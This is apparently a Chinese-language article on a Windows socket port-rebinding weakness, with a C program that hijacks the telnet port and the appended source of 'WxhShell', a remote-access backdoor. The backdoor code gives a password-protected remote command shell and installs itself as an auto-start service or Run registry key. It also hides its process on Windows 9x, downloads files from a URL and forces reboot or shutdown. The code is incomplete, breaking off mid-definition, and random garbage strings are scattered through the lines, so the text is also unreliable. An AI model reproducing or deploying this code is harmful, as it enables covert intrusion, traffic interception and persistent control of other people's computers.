在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ZUz ^!d s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
q"O.Cbk {FRAv(,\ saddr.sin_family = AF_INET;
s+Fi @lg, bwVPtu` saddr.sin_addr.s_addr = htonl(INADDR_ANY);
IdYzgDH $vHU$lZ/W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
t*@2OW`! Q~R
~xz 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
(8v7|Pe8 Nx{$} 这意味着什么?意味着可以进行如下的攻击:
Um1[sMc{au 7g
R@$(1Z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/9o!*K jV.g}F+1m 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
D:k3"
E"S (P&4d~)m 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`:P
[:xiZ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
91Uj}n%
T+N|R 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*),8PoT MCU_Z[N#10 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
v9Xp97J2 &/Ro lIHF 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[((;+B +C1QY'>I #include
>^Se'SE] #include
jV(6>BAI_ #include
p>_;^&>& #include
RI68%ZoL DWORD WINAPI ClientThread(LPVOID lpParam);
m*$|GW9 int main()
M xyN\Mq' {
:>p8zG WORD wVersionRequested;
M$0u1~K DWORD ret;
`"qP WSADATA wsaData;
<hwy*uBrD BOOL val;
DE2a5+^ SOCKADDR_IN saddr;
qc#)! SOCKADDR_IN scaddr;
p{PE@KO: int err;
)xb|3&+W SOCKET s;
%pXAeeSY`; SOCKET sc;
-hkQ2[Ew# int caddsize;
v)2M1 HANDLE mt;
-l%J/ : DWORD tid;
)5|I_PXB wVersionRequested = MAKEWORD( 2, 2 );
lN9=TxH1(; err = WSAStartup( wVersionRequested, &wsaData );
u_7~TE3W if ( err != 0 ) {
" R8KQj printf("error!WSAStartup failed!\n");
jE#O>3+. return -1;
~4?9a(>3 }
xQw7 :18wQ saddr.sin_family = AF_INET;
_-5,zPR d|T!v //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
#GJ
dZ %F kMv saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Fu^^i& saddr.sin_port = htons(23);
8EVgoJ. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[frq
'c {
*m2=/Sh printf("error!socket failed!\n");
#z1H8CFL" return -1;
0(_l|PScF }
O$IjNx val = TRUE;
!Ci~!)$z6 //SO_REUSEADDR选项就是可以实现端口重绑定的
&i!vd/*WlD if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
D5~n/.B" {
hK<5KZ/4 printf("error!setsockopt failed!\n");
QMEcQV> return -1;
=}PdH`S }
!ZU2{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
r!,}Z=cGe //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
y1=NF //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1".v6caW `Y?87f:SP if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
;;A2!w{}[i {
4[r/}/iGo ret=GetLastError();
P]z[v)} printf("error!bind failed!\n");
U\rh[0 return -1;
#lU9yv }
.5!t:FPOv listen(s,2);
42L
@w while(1)
2 1PFR:lP7 {
W5#611 caddsize = sizeof(scaddr);
j5I`a 1j` //接受连接请求
NAPX_B,6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
XR!us/U`a if(sc!=INVALID_SOCKET)
?bw4~ {
.G o{1[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-X+H2G if(mt==NULL)
xJ2*LM- {
<LRey%{q printf("Thread Creat Failed!\n");
4`Ic&c/ break;
n&A'C\ }
$4MrP$4TI }
1wW)tNKIF CloseHandle(mt);
rxme(9M }
Lr`1TH, closesocket(s);
~SvC[+t+U WSACleanup();
^uJU}v: return 0;
-uh(?])H }
~afg)[( DWORD WINAPI ClientThread(LPVOID lpParam)
2YuN~- {
Ej7 /X ~ SOCKET ss = (SOCKET)lpParam;
0j(M*
sl SOCKET sc;
34!dYr% unsigned char buf[4096];
_ pO ` SOCKADDR_IN saddr;
>%E([:$A long num;
M/Pme&% DWORD val;
#.[AK_S5& DWORD ret;
c%*($)# //如果是隐藏端口应用的话,可以在此处加一些判断
flgRpXt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Q%aU42?_1 saddr.sin_family = AF_INET;
0q\7C[R_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
_tr<}PnZ saddr.sin_port = htons(23);
HG'{J ^t if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
I]!^;)) {
Yl;^ k0ZI printf("error!socket failed!\n");
r}yG0c, return -1;
`]Bxn)b( }
?[x49Ux,P val = 100;
)5fQ$<(Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$hxNhI {
|
nJZie8m ret = GetLastError();
kX:tc return -1;
R_sC! - }
u9=SpgB# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_if|TFw;h {
N)% ;jh:T ret = GetLastError();
ZtVAEIZ) return -1;
VGL#!4wK }
9dh>l!2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
9{j66 {
)Z+{|^`kJ printf("error!socket connect failed!\n");
^7]"kg DA closesocket(sc);
^% Q|s#w. closesocket(ss);
&4dz}zz90 return -1;
eK /?%t }
1p`+ while(1)
ZV}X'qGaq {
n3MWs);5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}G$]LWgQx //如果是嗅探内容的话,可以再此处进行内容分析和记录
~#\i!I;RY} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
^0W(hA num = recv(ss,buf,4096,0);
b=a!j=-D if(num>0)
g=}v>[k E send(sc,buf,num,0);
3>z[PPw else if(num==0)
?B.~AUN break;
%[<Y9g,:Q num = recv(sc,buf,4096,0);
}W)=@t if(num>0)
iNCX:Y send(ss,buf,num,0);
_nT{g else if(num==0)
64Gi8|P break;
?(KvQK|d4 }
=j0x.fSe closesocket(ss);
e2$]g> closesocket(sc);
.DJDpP)M return 0 ;
wN37zPnV~ }
TPO1 GF |P6EO22p /7$mxtB5%L ==========================================================
'!vc/Hw $mco0%$ 下边附上一个代码,,WXhSHELL
&A!KJ. Ni[4OR$-O ==========================================================
xFp<7p
L b`cYpcs #include "stdafx.h"
J."{<& hQJWKAf,/ #include <stdio.h>
Wf02$c0#K #include <string.h>
4YbC(f #include <windows.h>
[UPNd!sy #include <winsock2.h>
+I|8Q|^SD #include <winsvc.h>
.")b?#K #include <urlmon.h>
c|wCKn}` nYv#4* #pragma comment (lib, "Ws2_32.lib")
twqFs #pragma comment (lib, "urlmon.lib")
<Mgf]v.QS &B-[oqC? #define MAX_USER 100 // 最大客户端连接数
SqB/4P #define BUF_SOCK 200 // sock buffer
0V11# #define KEY_BUFF 255 // 输入 buffer
?)A2Kw>2 rFag@Z"[" #define REBOOT 0 // 重启
9rj('F&1 #define SHUTDOWN 1 // 关机
;:#U6?=t L@|#Bbmx #define DEF_PORT 5000 // 监听端口
;cSGlE | F%6*Df;cSe #define REG_LEN 16 // 注册表键长度
Md(JIlh3 #define SVC_LEN 80 // NT服务名长度
5 Rz/Ri\c= +80 2`eax // 从dll定义API
,zgNE*{Y"4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
!y vJpdsof typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{*=E?oF@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]UUI~sFE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.Vx|'-u ~"mj;5Id // wxhshell配置信息
vnsSy 33K struct WSCFG {
wkT;a&_ int ws_port; // 监听端口
N^$9;CKP= char ws_passstr[REG_LEN]; // 口令
)bW5yG! int ws_autoins; // 安装标记, 1=yes 0=no
\y*j4 0 char ws_regname[REG_LEN]; // 注册表键名
ce5nG0@# char ws_svcname[REG_LEN]; // 服务名
O<`R~ char ws_svcdisp[SVC_LEN]; // 服务显示名
R<&FhT] char ws_svcdesc[SVC_LEN]; // 服务描述信息
qyv"Wb6+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,+-? Zv 2 int ws_downexe; // 下载执行标记, 1=yes 0=no
Pf8u/?/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
7Dl%UG] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+Jw{qQR/* {,f[r*{Y };
;QidDi_s> qz:]-A // default Wxhshell configuration
h*'d;_(, struct WSCFG wscfg={DEF_PORT,
vXubY@k2 "xuhuanlingzhe",
[2H[5<tH 1,
v |ifI "Wxhshell",
{bTeAfbf] "Wxhshell",
WD;)VsP "WxhShell Service",
no3Z\@% "Wrsky Windows CmdShell Service",
l:z}; "Please Input Your Password: ",
8*)4"rS 1,
:)LC gIQo "
http://www.wrsky.com/wxhshell.exe",
b]K>vhQV "Wxhshell.exe"
a 2E t,WA% };
^f0(aYWx #ko6L3Pi // 消息定义模块
_FFv#R*4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=AzOnXW:S char *msg_ws_prompt="\n\r? for help\n\r#>";
\4@a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
tj#b_u z char *msg_ws_ext="\n\rExit.";
w06gY char *msg_ws_end="\n\rQuit.";
+{0=<2(EC char *msg_ws_boot="\n\rReboot...";
7V/Zr char *msg_ws_poff="\n\rShutdown...";
<)J55++ char *msg_ws_down="\n\rSave to ";
}+JLn%H) ]gHLcr3 char *msg_ws_err="\n\rErr!";
h{H]xe[Q char *msg_ws_ok="\n\rOK!";
fr]Hc+7 wNR=?Z~ char ExeFile[MAX_PATH];
Hi7G/2t@` int nUser = 0;
2+Vp'5>& HANDLE handles[MAX_USER];
;3
dM@>5[ int OsIsNt;
>E~~7Yal Uk|9@Auav SERVICE_STATUS serviceStatus;
)=Y-f?o! SERVICE_STATUS_HANDLE hServiceStatusHandle;
yW:AVqE)t v'$ykZ!Z // 函数声明
LiF.w:} int Install(void);
P8u"T!G int Uninstall(void);
.:SfMr;G int DownloadFile(char *sURL, SOCKET wsh);
6iyt2qkh int Boot(int flag);
fW[_+r] void HideProc(void);
8m \;P int GetOsVer(void);
zM)M_L int Wxhshell(SOCKET wsl);
~(M*6b void TalkWithClient(void *cs);
5 5a@)>h int CmdShell(SOCKET sock);
{6DpPw^ " int StartFromService(void);
vevx|<9, int StartWxhshell(LPSTR lpCmdLine);
sbpu
qOL (s.o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
)y5iH){! VOID WINAPI NTServiceHandler( DWORD fdwControl );
[!5l0{0 ]KzJ u`O%G // 数据结构和表定义
DU(X,hDBF SERVICE_TABLE_ENTRY DispatchTable[] =
}&=uZ: {
xvHOY: {wscfg.ws_svcname, NTServiceMain},
f)qPFM]%z {NULL, NULL}
.!9Vt# };
Z#%}K
Z +)% ,G@-` // 自我安装
*-+C<2" int Install(void)
\gjl^#; {
uTxX`vH@! char svExeFile[MAX_PATH];
P:jDB{ HKEY key;
#V,LNX) strcpy(svExeFile,ExeFile);
L,tZh0 1mAUEQ! // 如果是win9x系统,修改注册表设为自启动
.Ydr[ if(!OsIsNt) {
oM-b96 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5R&x{jf$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{-~05,zE RegCloseKey(key);
ZE{aS4c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$gXkx D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{H/8#y4qp& RegCloseKey(key);
xq8}6Q return 0;
jt0H5-x }
S5zpUF= }
>cC Gx }
+qE,<c}} else {
dw@TbJ Cij$GYkv // 如果是NT以上系统,安装为系统服务
8') .ohD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
eV@4VxaZ if (schSCManager!=0)
W9:fKP {
Cb4d|yiS8 SC_HANDLE schService = CreateService
\65vfE~ O (
IptB.bYc schSCManager,
7Y$4MMNQ wscfg.ws_svcname,
TsoCW]h wscfg.ws_svcdisp,
$`-SVC SERVICE_ALL_ACCESS,
k^L#,:\&V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
z36brv<_'p SERVICE_AUTO_START,
gPF}aaB6 SERVICE_ERROR_NORMAL,
Yg\{S<wr svExeFile,
Tw`F?i~ NULL,
U}mL,kj" NULL,
[,.[gWA NULL,
^TuP=q5? NULL,
&"@HWF NULL
5i}CzA96 );
<DA{\'jJ if (schService!=0)
}z9I`6[ {
v
Ie=wf~D` CloseServiceHandle(schService);
A52LH, CloseServiceHandle(schSCManager);
60Xl. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
duZ|mT8Q== strcat(svExeFile,wscfg.ws_svcname);
Gd]5xl
HRU if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
{ziYd;Ys1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
u&?yPR RegCloseKey(key);
o>/uW8 return 0;
% 8rr*l5 }
E< io^ }
W07-JHV% CloseServiceHandle(schSCManager);
yH0yO*RZ }
tS_xa }
.P|+oYT&g jWO&SW so return 1;
IL8'{<lM }
>uP{9kDm
t?Njw7 // 自我卸载
{Kq*5Aq8 int Uninstall(void)
pUCEYR {
#2ZrdD"5kQ HKEY key;
EA%#/n Sh~ 8jEk if(!OsIsNt) {
9}'l=b:Jms if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5~ *'>y RegDeleteValue(key,wscfg.ws_regname);
"W,"qFx RegCloseKey(key);
n{qa ]3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1A)wbH) RegDeleteValue(key,wscfg.ws_regname);
U:etcnb4w> RegCloseKey(key);
i no7!T` return 0;
dH2j*G Ij }
Muc*?wB` }
Wj }
m\}\RnZu else {
.LGkr@P )P(d66yq'u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=5s~$C if (schSCManager!=0)
')yF0 {
vt(}ga SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
am$-sh72 if (schService!=0)
l+3%%TV@L {
Rm[rQ}: if(DeleteService(schService)!=0) {
%;"B;~ CloseServiceHandle(schService);
4%c7#AX[T CloseServiceHandle(schSCManager);
B 3,ig9 return 0;
=Y=^]ayO/ }
DY+8m8!4H CloseServiceHandle(schService);
@]VvqCk }
-c<1H)W CloseServiceHandle(schSCManager);
40l#'< y; }
!~$ YD*"S }
ke;*uS [y&h_w. return 1;
4{;8 ]/.a }
XR=c
8f {]/Jk07 // 从指定url下载文件
oRJP5Y5na int DownloadFile(char *sURL, SOCKET wsh)
xzGsfd {
'\E*W!R.] HRESULT hr;
)1tnZ=& char seps[]= "/";
ZC\.};. char *token;
{/|8g( char *file;
,ex(pmZ; char myURL[MAX_PATH];
uK&wS#uY char myFILE[MAX_PATH];
Y[8co<p c402pj
strcpy(myURL,sURL);
5\*wX.wp token=strtok(myURL,seps);
G]3ML)l while(token!=NULL)
EA@$^e[ {
TXvt0&- file=token;
IkXKt8`YVA token=strtok(NULL,seps);
u>i+R"hi" }
eJ)KE5%n# Xy8ie:D GetCurrentDirectory(MAX_PATH,myFILE);
([XyW{=h! strcat(myFILE, "\\");
G>{:D'# strcat(myFILE, file);
<n2{+eO send(wsh,myFILE,strlen(myFILE),0);
O
|I:[S}, send(wsh,"...",3,0);
Kd[`mkmS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
/dvnQW4}8 if(hr==S_OK)
`R=_t]ie return 0;
~aq?Kk else
RO3e return 1;
G`JwAy r' `q{'_\gVt( }
^)P5(fJ 6Oqnb+ // 系统电源模块
E?5B>Jer# int Boot(int flag)
xbH!:R; {
Ue\oIi HANDLE hToken;
aKU8"
5 TOKEN_PRIVILEGES tkp;
bFdg'_ wNZS6JF.d if(OsIsNt) {
(a4y1k t- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8 P y_Y> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>U
Ich tkp.PrivilegeCount = 1;
q>l kLHS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
f%%En5e+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
27i<6PAC[A if(flag==REBOOT) {
cw-JGqLx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
R#^pNJN return 0;
l{SPV8[i }
u2m{Yx| else {
Hw. @Le> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
{.8)gVBmA return 0;
n~cm?" }
91Sb=9 }
hQLx"R$ else {
}@0. if(flag==REBOOT) {
Q2WrB+/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{'bkU9+ return 0;
FNRE_83 }
;xC~{O else {
T{xo_u{Q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
QF6JZQh< return 0;
bH]!~[ }
$>37PVVW }
'"p*FN 1ORi]` return 1;
5Kxk9{\8 }
6? ly.h$ &=O1Qg=K // win9x进程隐藏模块
_( /lBf{| void HideProc(void)
4gt "dfy+ {
\(t>(4s_~ A{T@O5ucj HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
j@\/]oL^We if ( hKernel != NULL )
5!fW&OiY {
#u(,#(P'# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
P&,cCR> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
\`5u@Nzx FreeLibrary(hKernel);
*%+buHe }
4?uG> ;V \`# 0,pLr return;
2{:
J1'pC }
k}qiIMdI H5t`E^E // 获取操作系统版本
|.W;vc < int GetOsVer(void)
[)c|oh% {
;itg>\p3 OSVERSIONINFO winfo;
eZ$1|Sj]j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
k=
1+mG GetVersionEx(&winfo);
zwK;6&(W if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
DMW:%h{ return 1;
P$(}}@ else
l_EI7mJ return 0;
rJj~cPwL" }
~[6|VpGc: >1zzDd_ // 客户端句柄模块
fdHxrH>* int Wxhshell(SOCKET wsl)
S`.-D+.68 {
RjHpC7b*% SOCKET wsh;
i|'t!3I^m struct sockaddr_in client;
brot&S2P>< DWORD myID;
o|C{ s C>ZeG
Vq while(nUser<MAX_USER)
;Bi{;>3 {
kJFHUR int nSize=sizeof(client);
CgE5;O wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
6>J#M if(wsh==INVALID_SOCKET) return 1;
1^dWmxUZH [hbIv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
r U5'hK
if(handles[nUser]==0)
KR0
x[#.* closesocket(wsh);
$vz%
else
0k [6 nUser++;
m,O!Mt }
G> >_G<x WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
g7i6Yj1 \$"Xr return 0;
IrC=9%pd$R }
Eq{TZV l[ k$O$jo // 关闭 socket
Q8i6kf! void CloseIt(SOCKET wsh)
nrBitu, {
:_ox8xS4 closesocket(wsh);
3R {y68-S nUser--;
Hc9pWr"N ExitThread(0);
O6]~5&8U. }
FeLP!oS> XT"c7]X // 客户端请求句柄
*_wBV
M=2 void TalkWithClient(void *cs)
OFv} jT {
KHtY
+93 3LREue7Gr SOCKET wsh=(SOCKET)cs;
!4:,,!T char pwd[SVC_LEN];
X Rn=;gK%J char cmd[KEY_BUFF];
KG$2u:n char chr[1];
): 6d_g{2 int i,j;
J7xmf,76w _L":Wux while (nUser < MAX_USER) {
QL#y)G53Q )RFeF!(" if(wscfg.ws_passstr) {
0J~4
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
iY-dM(_:] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
CCV~nf //ZeroMemory(pwd,KEY_BUFF);
5mU_S\)4:z i=0;
CggEAi~ while(i<SVC_LEN) {
.E&~]< SCij5il% // 设置超时
}JD(e}8$! fd_set FdRead;
\~PFD%]:3 struct timeval TimeOut;
/
<p HDY FD_ZERO(&FdRead);
Bh?;\D'YC FD_SET(wsh,&FdRead);
n>WS@b/o TimeOut.tv_sec=8;
~6tY\6$9f TimeOut.tv_usec=0;
JFZ p^{ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
EeO{G*pq if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$4&Ql :9}*p@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
C7#$s<>TO pwd
=chr[0]; KVuv%?
if(chr[0]==0xd || chr[0]==0xa) { %[J( ,rm
pwd=0; F~1R.r_Lu
break; }MNm>3
} [C$ 0HW
i++; jkq+j^
} #XsqTK_nk
'g#GUSXfj
// 如果是非法用户,关闭 socket o#i{/#oF
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gsb]e
} &kG<LGXP#
ze-iDd_y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z(L>~+%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]9' \<uR
Ev%\YI!MaY
while(1) { _PIk,!<
v,jU9D\
ZeroMemory(cmd,KEY_BUFF); Z]tz<YSkG
!>Xx</iD1
// 自动支持客户端 telnet标准 Wh,kJis<
j=0; WCH>9Z>cj
while(j<KEY_BUFF) { >2a~hW|,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LE;c+(CAU
cmd[j]=chr[0]; 'Gk|&^
if(chr[0]==0xa || chr[0]==0xd) { {}z7N~
cmd[j]=0; xRfX:3
break; tm$3ZzP4
} V|7 cdX#H
j++; mU!c;O
} 4
QWHGh"
;.iy{&$
// 下载文件 %lBFj/B
if(strstr(cmd,"http://")) { i[B%:q:&
send(wsh,msg_ws_down,strlen(msg_ws_down),0); U-@\V1;C
if(DownloadFile(cmd,wsh)) &:rf80`z.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rB4]TQ`c
else p|zW2L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Kn}{m/3Y
} >1YJETysO
else { zQ6otDZx
{J[0UZ6
switch(cmd[0]) {
dwRJ0D]&
i9d.Ls
// 帮助 7XaRi@uG
case '?': { nk[ixVc
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WkT4&|POJ
break; ,ecFHkT>
} Lx.X#n.]T
// 安装 L9T|* ?||
case 'i': { O%OeYO69
if(Install()) ./u3z|q1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]'hz+V31%
else D ,nF0p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sq_
f[!
break; Au9Rr3n
} y:m Xv<g
// 卸载 U<zOR=_
case 'r': { [S4<bh!
if(Uninstall()) >mz<=n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {$Qw]?Yv
else "5=Gu1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~OXPn9qPp
break; YH@^6Be9
} (<|,LagTuc
// 显示 wxhshell 所在路径 *~cq
(PFQ
case 'p': { dW6sA65<Y
char svExeFile[MAX_PATH]; NbH;@R)L
strcpy(svExeFile,"\n\r"); nPE{Gp) }
strcat(svExeFile,ExeFile); jx J5F3d
send(wsh,svExeFile,strlen(svExeFile),0); U 1vZr{\
break; ? g}G#j
} m;'ebkq
// 重启 _vm ~yKId
case 'b': { =nGgk}Z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _->d41
if(Boot(REBOOT)) `fS$@{YI_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ka0MuQM
else { PY[nnoF"|
closesocket(wsh); :>f}rq
ExitThread(0); 3VaL%+T$,
} dSkM A
break; UyENzK<%u
} s^#B*
// 关机 .k cyw>T`I
case 'd': { %py3fzg
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -%,=%FBi~4
if(Boot(SHUTDOWN)) f}=>c|Do
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *PM#ngLX}r
else { 6Z.Fyte
closesocket(wsh); fN&@y$
ExitThread(0); !Ah v07SI
} ~bf4_5
break; >cJix
1
} - ({h @
// 获取shell >e>%AMzo[
case 's': { 5/8=Do](
CmdShell(wsh); s5h}MXIXw
closesocket(wsh); `3g5n:"g\
ExitThread(0); #zRHYZc'T|
break; 9:R3+,ZN
} f*}}Az.4
// 退出 9A~w2z\G
case 'x': { H-\Ym}BGu
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?zex]!R
CloseIt(wsh); MX? *jYl
break; ~y{_NgMo
} D6-R>"}
// 离开 S4\a"WYg
case 'q': { tq}MzKI*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); DL`8qJ'mJs
closesocket(wsh); /yHjds
WSACleanup(); 4_kY^"*#"
exit(1); %_."JT$v{
break; wx^Det
} 0<7sM#sI!
} ?r0rY?
} fV@[S
; [G:
// 提示信息 ~7 `,}) d
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UB/"&I uo
} #9gx4U
} 3~{I/ft
IplOXD
return; >x{("``D0y
} Jqj!k*=/
q2*A'C
// shell模块句柄 m,lZy#02s3
int CmdShell(SOCKET sock) 8cG?p
{ 1Ng+mT
STARTUPINFO si; `G qe]ZE#"
ZeroMemory(&si,sizeof(si)); tw_o?9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WeM38&dWY
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hyH[`wiq
PROCESS_INFORMATION ProcessInfo; =vbG'_[7
char cmdline[]="cmd"; $D1ha CL
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LH5Z@*0#
return 0; Ipk;Nq
} C(ij_>
OP`f[lCiL
// 自身启动模式 oZa'cZNs
int StartFromService(void) z:>cQUYl
{ WO_Uc_R
typedef struct ( zWBrCX
{ e$J>z {
DWORD ExitStatus; Zz0bd473k?
DWORD PebBaseAddress; CRK%^3g
DWORD AffinityMask; i>YS%&O?
DWORD BasePriority; 0
0N[
:%
